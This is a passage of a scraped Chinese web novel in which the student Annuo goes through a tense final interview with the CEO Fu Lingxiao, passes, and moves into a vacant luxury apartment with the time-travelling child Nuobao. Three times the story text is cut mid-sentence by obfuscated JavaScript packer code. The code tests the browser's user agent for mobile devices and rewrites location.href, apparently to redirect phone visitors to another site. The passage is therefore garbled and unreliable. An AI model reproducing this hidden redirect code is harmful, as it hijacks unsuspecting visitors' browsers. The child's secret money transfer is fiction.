l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15227423|165416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者,没有人能躲过同情与怜悯。 (二) 时间很快来到周四。 今天是安诺最后一次面试的日子。 说不紧张那是假的。 对着镜子,女孩整理了一遍又一遍的仪容仪表,额头那两戳毛都快被她扒秃噜皮了。 许晓筱看不下去了,从位置上起身安慰人道: “你就放心吧,你肯定会过的。” 安诺眉梢一挑,“你怎么知道?” 许晓筱用力拍安诺的肩膀,“反正就是知道。” 安诺尬笑两声:“呵呵”。 潜台词是:许晓筱,你就在这鬼扯吧。 许晓筱也跟着“嘿嘿”笑两声。 说实话,她敢说她还怕安诺不敢信呢。 因为她和诺宝已经替她提前见过傅凌霄了。 …… 诺宝蹲完厕所出来时,安诺已经出门好几分钟了,为此小家伙没少埋怨许晓筱。 “你怎么不告诉我啊。” “你应该把我从厕所里面叫出来的。” “我也想给我妈,不是,想给我姐姐加油。” 瞧把小家伙急得,差点又把安诺是她“妈咪”的事情说漏嘴了。 对此许晓筱觉得自己很是无辜: “我怎么叫你啊。你正在拉屎好不好,难不成让你把屎夹断了出来?” 诺宝瞬间不想说话了,想吐。 一开口就屎啊屎的,真是太不文明了。 许晓筱也不想再多说什么了,她正烦着呢。 -- 在高尔夫球场的时候,诺宝转了2万块钱给她。 当时她一声惊呼:“2万!” 旁边有人路过,好在一阵大风刮过吹得树叶“簌簌”作响,许晓筱的惊呼声很自然地被掩盖其中。 “这钱哪来的啊?”她发问道。 整个声音都在发抖。 诺宝一边删除手机上的转账记录,一边回答说:“从这手机的主人那里来的。” 许晓筱:“傅,傅凌霄?” 腿都抖了。 光是提及这个名字许晓筱都觉得后怕得很。 诺宝重复确定转账记录确实删除干净后,毫不避讳地回了许晓筱一个字:“嗯” ... 转账完,诺宝还请求许晓筱帮他一个忙。 那就是用这2万块钱偷偷帮安诺把寝室里的债务清了。 寝室里,安诺欠张雨桐4000,欠林倩倩3000,欠许晓筱5000。 拿这2万块钱去清帐,这并不是什么难事情。 甚至还有多余剩下的。 许晓筱苦恼的是要是她们问起钱是从哪里来的她该怎么说啊?” 诺宝给出的回答是:“你就说,是我们一起买彩票中奖了。” 呵呵,许晓筱听着都想笑。 太扯了。 确实是没辙了,要不然诺宝也不会想出盗用微信零钱的这种“旁门左道”来。 安诺每天都在念叨赶紧找工作,这样才能尽快把大家的钱还回去。不仅如此,租房子也是一大笔开销。 每次诺宝看到安诺因为这些事情愁眉苦脸时,他比谁都不好受。 况且2万块钱而已,对傅凌霄而言就跟丢了2分钱一样。 还有,在高尔夫球场上的所有消费也是记在傅凌霄的账户上的。 这点傅凌霄自然也不会知道。除非他有意调查,但是他才没空计较这些。 诺宝了解他爸,但凡是和钱有关的东西,只要不是太离谱的他爸都不会专门去理会。 一方面是账户多,钱多,管不过来。 另一方面纯粹是没那心思去管。 现如今,诺宝确实是解除安诺欠债的心头大患了,但许晓筱整整两天都没想出来怎么把钱还给林倩倩和张雨桐两人,因为她怕她们问她钱是从那来的? 更怕安诺知道这件事情后过来问罪于她。 难不成真按诺宝的说法,给人说他们中奖中了2万块? 这不扯吗? 她自己个儿都不信更别提安诺她们了。 唉… 许晓筱肩头往下一塌。 她想不明白了,她当时为什么要答应诺宝接下这摊子破事情啊! 苍天啊,可饶了她吧。 苍天会不会饶过许晓筱安诺不知道,但没想饶过她是真的。 “9点50了,完了完了,要迟到了。” 一下公交,安诺就朝着傅氏大楼飞奔而去。 傅凌霄的会谈时间是早上10点,按理说,一个合格的早有准备的面试者9点半就该在公司里候着了。 可她安诺9点50了还在去面试的路上。 完了完了。 安诺真的很想哭。 总共三次面试,她好不容易熬到最后一次了,不会就因为这一次堵车就泡汤了吧。 说起堵车安诺就来气。 什么时候堵车不好,偏偏今天堵。一堵还堵半个小时,要不然她早到公司了。 现在好了,毫无疑问的,她要迟到了。 剩余最后3分钟的时候,安诺一股脑闯进傅氏大楼。 “屋漏偏逢连夜雨”,公司大楼整整5台电梯,除了最里面那台停到1楼以外,其余全在运作当中,任凭安诺怎么按“上行键”电梯就是下不来。 眼看着时间一分一秒地消耗流逝,急昏头的安诺直接朝最里面的电梯冲了过去。 那台电梯只有傅凌霄才能坐。 安诺知道的,可她现在别无他法。 况且现在都几点了,他堂堂一个公司总裁,总不会跟她这小喽喽一样还上班迟到吧。 正面意思就是,傅凌霄这会儿应该早到办公室了。 所以就算她坐这台电梯她也遇不到他。 如此想来,安诺毫无心理负担地按下电梯。 果然,电梯打开时里面空无一人。 她就说嘛,这个时间点怎么可能会遇到傅凌霄。 看着空空荡荡电梯,安诺兴高采烈地走了进去,哪想一回头: “……” 电梯外面,神出鬼没地突然冒出两个直挺挺的身影。 两人一高一矮地站着。 高的是傅凌霄,稍微矮一头的上次见到过的总助大叔。 20. 第20章 (一) 看见安诺的一刻,傅凌霄的眸色凝了凝。 后面兴许是这种意外出现太多次了,所以也便习惯了。 只字未语的,他径直走进电梯。 和前两次一样,安诺下意识地往后挪动自己的身子。 好给傅凌霄腾位置。 大叔走进电梯时,面上的表情和傅凌霄截然相反,眼里全是对安诺的喜欢。 像是一位慈爱的老父亲。 甚至还主动和安诺打招呼道: “早上好,安诺小姐。” 安诺有些受宠若惊,结结巴巴的:“那个,您,您好。” 说完,忽觉哪里不对劲,小眼神瞄看着傅凌霄紧急改口道: “你们好。” 话音落下时,傅凌霄回头,眼睑微垂着,缓慢地看了安诺一眼。 安诺紧张兮兮地咬着唇角。 此时此刻,她只想知道为什么这个时间点了傅凌霄还会出现在这里? 旁边,安诺和傅凌霄的所有反应郝大叔都看在眼里。 自始至终,他的脸上都挂着一抹浅浅的笑意。 无意和大叔的视线碰上时,安诺十分拘谨地眼神躲闪好几下。 她其实很想知道大叔到底在笑什么? 难不成是她脸上有东西?还是说有口红晕染出来了? 于是悄悄的,女孩抬眼往头顶的天花板瞟看好几眼。 电梯的天花板是一块巨大的镜子,透过镜子,安诺可以观察到自己脸上到底有没有脏东西。 正观察时,大叔打断她:“准备得怎么样?” 闻声,安诺收回视线,“啊”了一声。 语音疑惑。 大叔重新问她:“今天的面试,准备得怎么样了?” 这回安诺听明白大叔是什么意思了,她轻掀眼睫看了一眼傅凌霄,后者一袭黑色西服,单手插兜地站在她前面。 安诺和大叔分别站在傅凌霄的左右两边。 以安诺现在的视角看过去,她只能看到傅凌霄的侧身,以及一张白得发冷的侧脸。 打探完人,安诺勉为其难地回大叔: “这个,我...我尽力。” 最后的面试官是傅凌霄,安诺除了说“尽力”也只能说“尽力”了。 就傅凌霄那张万年冰山脸,光看着就足够让人不寒而粟。 更别提他们之间还有这么多的过节。 要不是家里面有个小鬼要养,安诺都想打道回府了。 大叔也是个人精,一眼看出了安诺的顾虑,故意问安诺:“紧张了?” 安诺笑笑不说话。 大叔也笑笑:“不用紧张,其实我们公司的领导都挺好的,尤其是凌霄。” 安诺僵硬地扯唇角,心说,呵呵,是吗? 这时大叔忽然冲傅凌霄发问道: “是吧凌霄?你今天应该不会为难人小姑娘的吧?” 嗓音轻缓,带着几分侃笑。 闻声,安诺却是头皮一紧。 这么直接的吗? 这,这不太好吧… 她不傻,一下便听出来了大叔这是在帮她打探“军情”。 傅凌霄现在对她的态度,很大程度上决定了待会儿面试的时候傅凌霄会不会为难她。 紧张兮兮的,安诺往傅凌霄偷看过去,而后神色一怔。 因为猝不及防的,她撞进了傅凌霄那双凌冽的黑眸里。 安诺没料到傅凌霄会回头看她。 短暂的安静里,傅凌霄黑眸轻觑,冷淡又直白的目光打量着人。 他比她高出很多,视线自上而下,带着天生的凌傲。 “看情况。”他最后回大叔道。 嗓音冷冷的,目光盯着安诺,寓意不明。 ... 看情况? 那到底是对她有利呢,还是对她不利啊? 去面试点时,安诺独自在心里打着鼓。 面试的地方和傅凌霄的办公室不在同一处。 傅凌霄先回了趟16楼。 安诺赶到10楼的面试地点时,会议室外面已经早早地坐着两个漂亮女孩儿了。 两女孩儿一个个儿很高,一个身高稍微矮一点。 高的大概有1米7,矮的大概1米6左右。安诺刚好取了两人的中间值,身高1米65。 但是不论高矮,那两个女生气质都是绝佳的。头发都绑着,都是低马尾,身上的穿着打扮也很利落大方。 一个是白衬衣黑西裤,一个是白衬衣黑西裙。 标准的职业装扮,让人挑不出半点毛病来。 与之相比,安诺走到两人旁边时,倒显得有些格格不入了。 因为她今天穿的是一身墨蓝色的牛仔套裙。 上面是带领的长袖牛仔衬衣,韩式剪裁,袖口是蝴蝶袖。 再往下是包臀牛仔裙,裙摆只到大腿根部。 脚下,别人踩的都是低跟皮鞋,只有她穿的是“匡威”的高邦板鞋。 对比如此强烈,安诺有些后悔听许晓筱的狗屁建议了。 她就说嘛,本来她是想穿正式一点的,结果许晓筱半路蹦出来,非不让她穿西服套裙,还说什么太老气了,土不拉几的。 甚至把形教老师的话专门搬出来说给她听。 “虽然面试是件严肃的事情,但是面试更重要的是展示自我。” 嗯,展示自我。 于是安诺就这么水灵灵地穿上了身上这套展示自我的牛,仔,裙。 低头打量一圈自己后,安诺的自信心立马又砍掉了一大半。 眼下,她觉得自己身上的衣服咋看咋不顺眼。 她不知道的是,这其实是因为她在不安,在紧张,在害怕。 最后这些焦虑的情绪全部发泄在了自己的穿着打扮上。 前面两次面试她都不这样的,今天却心跳“砰砰”的,思绪静不下来一点。 最后想想,可能单单是因为今天的面试官是傅凌霄吧。 说曹操曹操到。 不远处,傅凌霄带着一个高个子女人迎面走来。 后来安诺才知道这个女人叫“艾丽”,是傅凌霄手下最得力的女特助。 第一次和安诺打电话谈赔偿金的人也是她。 傅凌霄走过来时,不知道是不是自己多想了,安诺总感觉傅凌霄的目光在她身上多停留了两秒。 但也仅仅是两秒而已,傅凌霄并没有因为她减缓脚下的步伐,更没有和她有多余的言语交流。 人冷冰冰地直接从后门走进了会议室。 而安诺和其他两名面试者一直在前门候着。在看到傅凌霄时,她们全都第一时间站了起来 原本她们以为傅凌霄会从她们走过的,现在看来,完全是她们多想了。 最后,是艾丽走过来吩咐她们说:“面试10点10分开始,你们可以再休息一会儿。” 休息休息,还不如不休息呢。 安诺一张小脸焦灼在一起。 艾丽说完话后也进了办公室,安诺和其他两名应聘者尴尬地互看两眼。 等待面试的几分钟时间里,她们三个人谁都不比谁好过。 高个子女生拿着自己的简历一阵碎碎念,矮个儿女生对着素白的墙壁一直吸气,吐气,再吸气。 而安诺坐在长椅上,先是学高个子女生拿出简历练习自我介绍,刚说几句话就说不下去了。因为嘴巴一直打结,一句简单的开场白,她反反复复地说了几遍都说都不利索。 不得已的,安诺把简历往包里用力一塞。 算了算了,不看了。 怒急攻心的某人开始跟自己闹起小脾气来。 最后身子往后一躺,脑袋整个靠在墙壁上,眼睛也闭了起来。 看样子是啥都不想准备了。 听天由命吧。 第一个女生进去面试时,安诺听到动静后也没睁眼。 等到第二个女生被喊进去时,她这才舍得睁开双眼,瞧看周围的动静。 第一个被面试的人是那个矮个子女生。 面试结束后,这女生并没有立马离开,而是坐在长椅那头整理她的公文包。 安诺悄悄地往人那边挪了挪,挪到与女生只有半臂远时,她试探地问了女生一句: “他们都问了你些什么问题呀?” 那女生闻声抬头,静了那么一小会儿时间,其间没人知道她在想什么。 安静完,女生对着安诺露出一抹客气又不失礼貌的笑容,回答说: “没什么,你进去就知道了。” 安诺:....? 觉得那女生好像回答了她的问题,又好像没回答。 最后她笑了笑,也没再多说什么。 毕竟是竞争对手,那女生不告诉她也是正常的。 后面,那女生收拾好公文包后便独自离开了。余下安诺一个人孤零零地坐在长椅上。 总共三个人,偏偏她排最后。 莫不是老天爷都觉得她是最差的那一个吧? 闲着没事做的某人又开始自我脑补起来。 再一想到自己的工作经历还没有别人丰富时,不由得,安诺再次长叹了一口气。 工作经历是她刚才准备问女生问题时不小心遇到的。 “完蛋了,完蛋了。” 安诺沮丧地靠在长椅上。 也是这个时候,忽然一道声音从会议室里传来。 “安诺。” 是那个女特助艾丽的声音。 这意味着,轮到安诺进去见傅凌霄了。 (二) 安诺走进会议室时,高个女生正好出来。 擦肩而过的刹那,女生脸上的表情很是不好。 阴郁,沮丧,难过。 一看就是对自己的面试很不满意。 这让本就紧张的安诺更加不安了。 会议室里,炽白的灯光照耀下,深灰色的地板砖变得透亮无比,以及浅木色的会议桌很长很长。 傅凌霄和艾丽坐在会议桌的同一侧,不过中间隔了一个空位。 艾丽面前摆放着一台笔记本电脑。 傅凌霄单单只有一个人坐在哪里。 一只手插兜,一只手很随意地搭在会议桌上,修长的手指悠闲地转动着手中的钢笔。 眸色也漫不经心的。 漫不经心中又带着几分目无一切的傲慢。 安诺不一样,心跳“扑通扑通”的,大气都不敢喘一下。 从进门开始傅凌霄就没放过她,目光悠悠地盯着人。 在这短暂的几秒里,安诺觉得自己就是只待宰的羔羊,而傅凌霄就是那非洲大草原上盘坐在绚烂夕阳下的狮子王。 很慵懒,也很危险。 安诺小心翼翼走到会议桌的另一侧。 这边的座椅排成一排,被摆放得整整齐齐,其中只有一把椅子脱离编队,擅自靠后一些。 椅子的对面,正对着傅凌霄和艾丽中间的空位。 真是奇怪的座位设置。 稀里糊涂的,安诺拉开凳子坐下。 而后侧目,忍不住偷偷瞥看了傅凌霄一眼。 刚好傅凌霄也一直在看她这边。 视线相撞的一刻,安诺倒吸一口冷气。 她的紧张来源 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238159|165416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于很多方面,不仅仅是因为傅凌霄天生自带威慑力,还有就是... 她真的很需要这份实习工作,她想好好表现,却又害怕出现失误。 “安诺小姐,您先简单介绍一下自己吧。” 最先发话的是艾丽。 安诺迟疑了0.1秒。 不是说是傅凌霄亲自参与面试会谈吗,怎么是特助在发言呢? 虽是摸不着头脑,安诺还是做起了自我介绍。 知道他们肯定看过她的简历,所以安诺对自己的介绍能减则减。 主打一个简洁明了。 她更知道的是让做介绍不过是他们的客套罢了,好给后面他们那些“尖酸刻薄”的提问做铺垫。 先礼后兵。 安诺懂的。 果然,刚介绍完艾丽就劈头盖脸的一通刁难。 “安诺小姐,如果你真的应聘上了总裁助理这个岗位,你觉得你能为我们总裁做些什么?” “对不起打断一下,你刚才说的所有东西别人也可以做到,我是否可以认为你和其他竞争者一样,并没有独属于你自己的闪光点?” “你说这个是你的闪光点,如何证明呢?” “今天总共有三人进面,其他两位竞争者的学历都比你好一点,你如何看待这个问题?” “你说学历很重要,可能力更重要,但取得优秀的学习成绩不也是能力的一种吗?” 一个接着一个的问题,和前面两轮面试遇到的根本不是一个量级。 问题刁钻得安诺光是听着都火大。 最主要的还是艾丽问话时总是冷着一张脸,说话语气还莫名的尾音上扬。 冰冷的神色,加上犀利的语气,任谁听着都会不爽。 安诺努力掐着手心,把肚子里的怒火一憋再憋。 傅凌霄坐在对面,没再继续转动手里的钢笔。 凌冽的黑眸子时而垂目思考,时而抬眸目光笔直地打量她。 面试到中后段,安诺终于想明白了今天傅凌霄和艾丽的面试构造是什么了。 这两人完全可以和刑侦所的警务人员一较高下。 艾丽是刑.警,主攻高压逼供。 傅凌霄是刑侦侦探,主攻观察人,审视人,揣摩人。 而她安诺,就是犯人本人。 但安诺不得不承认的是,艾丽越是强势冷厉,那便越是说明她是一个能力非凡的助理。 甚至是傅凌霄的一把利剑。 指哪打哪。 这不,安诺刚回答完上一个问题时,人就立马放大招道: “如果这次面试不成功,你还会在背地里骂公司,甚至骂公司老板吗?” 安诺手指头一拧,汗流浃背了。 注意艾丽的用词,一个“还”字,充分说明了她安诺是有“犯罪前科”的。 尴尬的是,被她当街破骂的当事人傅凌霄此时此刻就坐在她对面。 这不正是网上大家说的“贴脸开大”吗? 安诺一颗小心脏拔凉拔凉的。 和这个问题相比,她瞬间觉得前面的所有挖苦都不算什么了。 最重要的是这问题要是回答不好,她真的啥都不用说了,直接“拜拜”吧。 在这期间,安诺转溜着小眼神,偷偷瞥看了一眼傅凌霄。 作为这件事情的关键人物之一,神奇的是这位被她骂过的总裁大人眉心微微拧着。 不知道是不是自己的错觉,安诺从中看出了不耐烦,也看出了些许不忍心? 傅凌霄隐忍且克制地坐在那里,耳梢有无数个声音在回响。 “你以后是要接管家族企业的,你怎么可以和他们玩在一起,太不务正业了。” “学围棋可以锻炼你的心性,你不喜欢也要学。每周两节课,不准缺席。” “这次成绩怎么回事,老李家的孙子都能拿年级第一,你怎么就不行,我傅正威的孙子差哪里了?” 傅正威的声音严厉且浑厚。 紧接着是一道稚嫩的孩童音。 “她是一个对我很好很好的姐姐,她对我很好,就住我隔壁。” “安诺姐姐没有妈妈,听爷爷说,安诺姐姐的爸爸在外面有别人…………安诺姐姐只能跟着爷爷一起生活。” “安爷爷是个要求很高的人,只允许安诺姐姐成功,不允许她半点失败。” “实习,工作,结婚,生宝宝,这里面每一件事情在安爷爷眼里都是大事情。只要有一件没办好,安爷爷就永远不会满意安诺姐姐。” 傅凌霄下颌线绷着,其实他不太相信诺宝说的那些话。 因为话里,安诺的童年和他小时候的经历重叠得太多了。 就像是大数据的精准投放一样。 诺宝在复刻他的童年,而他是被投放数据内容的精准客户。 安诺捏了捏手心。 她不知道傅凌霄在想什么,他就那么凝神思索地看着她,眸色黯淡又凌冽。 也不催着她回答。 似乎是在故意留时间看她如何破解艾丽提出的那个提问。 可问题是…… 安诺屏住呼吸,不停地想啊想,脑袋瓜子都快转出火星子了也没想出什么解题大法来。 等人苦恼到都快放弃时,一道低缓且清冷的声音忽然响起。 “你对薪资有什么要求?” 安诺一愣。 是傅凌霄。 艾丽也惊到了,扭头看向傅凌霄。 神色难以置信,又饱含揶揄。 有生之年,她竟然能看到傅凌霄“英雄救美”! 呵呵,稀罕。 真是稀罕得很呢。 21. 第21章(双更合一) (一) 在艾丽看来,傅凌霄向来冷面又无情,“英雄救美”这种事情傅凌霄是绝对做不出来的。 ... 傅凌霄静默地看着安诺。 要说他现在的行为是什么“英雄救美”,那还真谈不上。 总之不管那孩子说的是真的还是假的,看着女孩局促不安地坐在哪里,孤立无援的。 他对她到底是不忍心了。 … 见安诺一直不说话,傅凌霄再次重复了一遍了刚才的问题。 “说说看,你对薪资有什么要求?” 这个问题并不难,甚至是今天所有面试发问里最简单的,但安诺迟迟没开口回答。 她还没回过神来,心里想着怎么回事,傅凌霄为什么会故意转移话题帮她解围。 等再仔细思索一番后,脑袋里忽然有了一些想法,她深吸一口气决定回答道: “我认为,背地里骂公司以及骂老板是一个失败面试者正常的…以及可控范围内合理的宣泄而已。” 很显然,她不是在回答傅凌霄,而是在回应艾丽最开始提出的那个问题: 如果这次面试不成功,你还会背地里骂公司和老板吗? 所以这意思是,傅凌霄该骂? 艾丽不敢轻易发表意见,只能暗戳戳地转动眼珠子,把视线一点一点地转到傅凌霄身上。 后者端着一张俊美矜贵的脸坐在那里,脸色不似刚才那般含杂忧心,这会儿神情舒展了一些,甚至淡声放话道: “继续。” 安诺和艾丽都挺意外的。 以前艾丽觉得傅凌霄这么淡漠又铁面无私的人,肯定干不出“英雄救美”的事情,现在看来,原来是没遇到对的没人啊。 憋笑着,艾丽没出声。 安诺却紧张得很,小心翼翼地打量着傅凌霄。 她心里有些没底。 可“开弓哪有回头箭”,咽了咽嗓子后,女孩顺着傅凌霄的意思继续往下说: “因为我们是人,不是机器。而人是感情动物,人需要宣泄自己的情绪。但是...” 一个重音转折。 “但是我这不是在鼓励员工当面说老板坏话啊。” “当然了,还有一种情况就是明明人家只是小小吐槽一下,结果老板自己冒出来偷听到了,这,这总不能说是人家员工故意当面揭老板的短吧。” 最后一段话是故意说给傅凌霄听的,也算是安诺第一次替自己辩解,不对,是解释这件事情。 说完,女孩怂怂地缩起脖子。 傅凌霄:“呵。” 一声冷笑。 自嘲安诺这么牙尖嘴利的一个人,他刚才竟然会觉得她可怜。 后面安诺没再揪着傅凌霄和自己的哪点瓜葛一直掰扯。 她阐述了不少如何正确处理工作中负面情绪的议题。 比如就个人角度而言,应该……再则,从公司角度可以…… -- 回家的路上,安诺一遍又一遍地仔细回忆面试的事情。 每一遍揣摩的点都不一样。 第一遍琢磨自己说过的每一句话,第二遍揣测傅凌霄脸上的微表情,第三遍细细品味艾丽对她说话的语气与态度。 最后是第四遍,安诺微眯双眼,使劲猜想艾丽在电脑上记录的是什么。 当时离开面试会议室的时候,艾丽“啪啪啪”地一直敲打电脑键盘,明显是在做什么记录。 安诺记得网上说过,面试官会偷偷给每个面试者做标记。 比如√是过,○是不过。 所以借着路过的由头,隔着两米远的距离她故意往艾丽的电脑偷看了两眼。 可惜傅凌霄一记目光打过来,把她抓了个正着。 当时囧得安诺赶紧撒腿开溜。 “死眼睛,怎么偷看都看不明白。” ... 安诺到寝室时,寝室里只有许晓筱和诺宝两个人。 她一进门,两人就朝她狂拥过来。 “诺诺,面试得怎么样呀?” 徐晓筱拖着嗓音撒娇,娇嗔得不行。 诺宝有样学样,捏着嗓子问安诺: “对呀,面试得怎么样呀?” 安诺:“......” 不知道这两人今天又吃错什么药了。 “说让等通知。”她丧丧地回答两人。 许晓筱:“啊!又要等通知!?” 安诺:“嗯。” 许晓筱:“那你觉得你表现如何?” 安诺有气无力地在自己书桌前坐下,回答也有气无力的: “就,一般吧。” 诺宝冒出一个脑袋来:“一般是多一般?” 安诺:“思维太跳跃了,回答问题不够严谨,行了吧。” 许晓筱:“思维跳跃不好吗,思维跳跃说明这个人不受束缚,极具创造力。” 安诺“呵”笑一声: “那是你的想法,也许在别人看来我这就是不成熟,不稳重。” 看人状态不对,许晓筱赶紧安慰人: “哎呀,你别这么自怨自艾,你肯定能过的。” 安诺小眼神儿一撇:“这么看好我,要不你开家公司雇我得了。” 许晓筱:“那还是算了吧。” 安诺:“......” 旁边,诺宝心情不佳地听着两人的对话。 而后拽着他的小青蛙书包蹿到了卫生间里去。 安诺和许晓筱以为诺宝这是憋尿憋急了,其实诺宝是赶去“监视”他那眼瞎的老爸去了。 可惜,翻遍今天的所有聊天记录,诺宝也没找到半点和今天的面试结果有关的信息。 最后只能丧丧地从卫生间里走出来。 而后一晚上小家伙都心情很是不好,直到听到一道电话铃响起时,诺宝这才两眼一亮,整个人满.血复.活.道: “电话来了!” 电话是安诺的。 许晓筱举着镜子在研究怎么化卧蚕。 冥冥之中,她也预感到了什么,催促安诺道: “快,你快去接电话。” 本来安诺没觉得有什么的,结果诺宝和许晓筱一惊一乍的。 潜移默化的,安诺也觉得这通电话肯定不简单。 在诺宝和许晓筱的注视下,她坐在电脑面前,紧张地接通了电话。 几秒后,电话挂断。 许晓筱盯着安诺,一个劲儿地问:“怎么样?怎么样?” 安诺拉着一张脸:“是诈骗电话啦。” 诺宝/许晓筱:“啊~” 拖长的语调,尾音向下。 这时,安诺却又憋笑地看着他们说:“通过啦!” 许晓筱和诺宝:! 愣愣地眨动眼睛,而后... 许晓筱:“啊…” 诺宝:“啊啊啊啊啊啊…” 安诺也加入其中:“啊…我通过面试啦!” 这天晚上,整个502寝室欢呼雀跃,尖叫连连。 比过节还热闹。 (二) 面试彻底通过后,一切事情都仿佛按下了加速键,统统朝着好的方向发展着。 第二天,诺宝带安诺去了一个地方。 那是一套高级公寓,大平层,客厅和大学教室一般大小。 装修简洁又奢华。 黑沙发,灰窗帘,白桌子,桌子是大理石的,头顶高悬起的水晶灯,晶莹剔透,琉璃耀眼。 安诺站在公寓客厅里环视着周围的一切,感觉像做梦一样。 “我们,真的,可以免费住在这里?!”她难以置信地问诺宝。 闻声,小家伙站在她旁边十分肯定地点头道:“对啊。” 这次安诺不说话了,还是觉得不可思议极了。 整个人站在原地,像个木头人似的,只有一双漆黑透亮的葡萄眸子上上下下地眨动。 关于这个房子为什么可以免费居住这事儿,得从诺宝那位不省心的花心大萝卜爷爷傅锦山说起。 傅锦山自从被赶出家门后便鲜少回家看傅凌霄,自知理亏在先,为了修复自己和傅凌霄的父子情意,于是自掏腰包在傅凌霄的公司大楼附近买下了这套房子。 那年傅凌霄18岁,刚进公司实习,傅锦山以为自己掏钱买套房子向傅凌霄试试好,傅凌霄就能原谅他。 事实证明,他纯粹是在白日做梦,痴心妄想。 傅凌霄非但没接收他的房子,还放话警告傅锦山以后少出现在他面前。 这下,本就薄如纸片的父子情意算是彻底降至冰点了。 可傅锦山偏偏就不放弃,跟打不死的小强似地隔三差五地就往傅凌霄办公室送这送哪。 等诺宝出生后,傅锦山更是抓住了救命稻草一样,转头便开始想法子讨诺宝开心。 人企图先攻陷诺宝,然后再拿下傅凌霄。 有一天,在未经傅凌霄同意的情况下,傅锦山擅自去幼儿园接走了诺宝。 当时傅锦山带诺宝来的地方就是眼下这套偌大的公寓房子。 为了讨诺宝欢心,傅锦山把房子改装成了一个巨大的室内游乐场。 里面有充气城堡,旋转木马,海盗船,海洋球,太空沙,巨型奥特曼…… 只要是游乐场有的,傅锦山都尽力将其搬到公寓里来。 还美其名曰要把这里打造成专属于诺宝的“乐园城堡”。 那时候的诺宝年仅三岁,哪里懂得爷爷和爸爸之间的恩怨情仇。 小家伙一看满屋子的玩具,高兴得那叫一个两眼冒金光。 见诺宝这么开心,傅锦山也跟着高兴得很。 结果傅凌霄找来时,两人瞬间不笑了。 事情的最后,在傅凌霄的厉声质问下,傅锦山漆黑着一张脸站在落地窗前,表情落寞。 而诺宝哭着被傅凌霄带走了。 之后,诺宝再没去过那个公寓。 为此诺宝没少埋怨傅凌霄,觉得自己爸比讨厌得很,白白让他丢失了一个“乐园城堡”。 哪成想,那时候没得到的“城堡”,现在竟然派上用场了。 当然,2024年的时候这套房子还很干净,并没有被改造成游乐园。 因为傅凌霄没接收下这套房子,所以房子也便闲置了下来。 诺宝也是想到了这一点,所以才把安诺带到了这里。 公寓门是电子锁,没换过,诺宝知道密码,所以他能轻而易举地打开公寓大门。 也正是因为这一点,安诺觉得诺宝肯定和房子的主人认识,要不然诺宝怎么可能无缘无故知道门锁的密码。 但这房子到底是谁的呢? 安诺问诺宝问时,诺宝是这样回答的。 “这是你以后的房子呀。” 小家伙故意忽悠人。 安诺听笑了,“我以后的房子?” 诺宝调皮地在黑皮沙发上滚了一圈,“对呀。” 安诺顺势在沙发上坐下。 知道诺宝是在有意折腾她,她“呵呵”笑了两声。 不过很快脸色逐渐严肃起来。 非法侵占他人财产可不是小事情,没弄清楚事情缘由之前,她不可能跟着诺宝一起胡闹。 更不可能就这么不明不白地住进来。 虽然…… 安诺再次扫看一圈面前的这套房子。 宽敞的空间,简约却不失格调的装修。 不得不承认,这完全是她从小到大一直都梦寐以求的大房子嘛。 但是。 “咳咳。”安诺强行清了清嗓子,理智也被强制召回。 “你少给我扯这扯那的啊。房子到底是谁的?”她认真道。 说话时,人从沙发上站起身子,双手叉腰,态度严厉。 诺宝暂时还没意识到问题的严重性,“都说了,是你的啊。” 安诺:“胡说,我什么时候有这么大的房子了?” 眼看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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毕竟她确实资金有些困难。 不过安诺也有属于自己的那点小私心。 诺宝自己说的,要是房子的主人找来那他就立马跟人走,以后再也不缠着她了。 这不正好吗? 不费摧毁之力找到诺宝的家人。 这样诺宝既可以平安回到家人身边,而她安诺也能重获自由。 如此想来,简直是一石二鸟,实属美哉。 ... 定下来要在这里住下后,晚些时候,安诺带着诺宝去楼下超市买生活用品,什么锅碗瓢盆牙膏牙刷的。 回来的路上,安诺闲来无事地问诺宝: “既然你都能记住房子的密码,那你记不记得你爷爷和你爸比在哪里?” 诺宝轻咽嗓子,小小地紧张了一下,但很快故作轻松地回答说: “不记得。” 甚至知道安诺又想问他什么,于是紧接抢话答道: “我也不知道他们叫什么,穿越过来的时候我好像把脑袋摔坏了。” 真是应了那句俗话,人要狠起来连自己都诅咒。 深怕安诺不信,小家伙又补充说道: “要是知道他们在哪里我早去找他们了,哪会来找你啊,你这么穷。” 安诺:“……” 说话就说话,怎么还人身攻击啊? 算了,不说这个了。 为了不让自己再被人身攻击,安诺选择换一个问题问人。 “除了房子,你还知道未来的什么东西?” 诺宝随口一答:“其他什么东西?” 说到接下来要问出的问题,安诺的脸颊有些发红。 “就…”她很是不好意思地开口道,“就我未来老公长什么样子啊?” 两人走在超市外面的街道上,诺宝昂头看着安诺,有些想笑。 这还是他第一次见安诺害羞。 “你想知道我爸比长什么样子?” 小家伙估计是和许晓筱待久了,都知道故意拿人开涮了。 果不其然,听完诺宝的话后安诺的脸颊一下变得更红了。 “不是你爸比,是我未来的老公。”她狡辩道。 行。 未来老公就未来老公吧。 诺宝掀唇腹诽。 不过,至于这未来老公长什么样子? 这是个好问题。 诺宝稍稍回想了一下某人的脸,动不动就臭得要命。 光是想想诺宝就汗毛骤起,甚至忍不住打了一个寒颤。 安诺以为诺宝这是记忆丢失后想不起那些事情了,抱怨道: 